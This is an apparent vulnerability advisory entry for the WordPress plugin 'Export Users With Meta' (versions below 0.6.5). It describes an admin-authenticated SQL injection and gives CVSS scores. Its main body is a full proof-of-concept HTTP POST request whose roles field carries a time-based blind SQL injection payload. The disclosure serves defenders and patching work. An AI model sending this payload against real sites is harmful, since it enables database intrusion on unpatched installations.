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wpexploitAsif Nawaz MinhasWPEX-ID:40603382-404B-44A2-8212-F2008366891C
HistoryJun 21, 2021 - 12:00 a.m.

Export Users With Meta < 0.6.5 - Authenticated SQL Injection

2021-06-2100:00:00
Asif Nawaz Minhas
377

7.2 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

HIGH

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

6.5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

The plugin did not escape the list of roles to export before using them in a SQL statement in the export functionality, available to admins, leading to an authenticated SQL Injection.

POST /wp-admin/users.php?page=uewm_settings HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------91314853327906118943368521591
Content-Length: 1309
Connection: close
Cookie: [admin+]
Upgrade-Insecure-Requests: 1

-----------------------------91314853327906118943368521591
Content-Disposition: form-data; name="uewm_roles[]"

editor'%20AND%20(select*from(select(sleep(10)))a)+'
-----------------------------91314853327906118943368521591
Content-Disposition: form-data; name="uewm_use_custom_csv_settings"

1
-----------------------------91314853327906118943368521591
Content-Disposition: form-data; name="uewm_field_separator"

custom
-----------------------------91314853327906118943368521591
Content-Disposition: form-data; name="uewm_custom_field_separator"

=
-----------------------------91314853327906118943368521591
Content-Disposition: form-data; name="uewm_text_qualifier"

double-quote
-----------------------------91314853327906118943368521591
Content-Disposition: form-data; name="uewm_custom_text_qualifier"

"
-----------------------------91314853327906118943368521591
Content-Disposition: form-data; name="save"

Save changes
-----------------------------91314853327906118943368521591
Content-Disposition: form-data; name="_wpnonce"

0c475bfd14
-----------------------------91314853327906118943368521591
Content-Disposition: form-data; name="_wp_http_referer"

/wp-admin/users.php?page=uewm_settings
-----------------------------91314853327906118943368521591--

7.2 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

HIGH

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

6.5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

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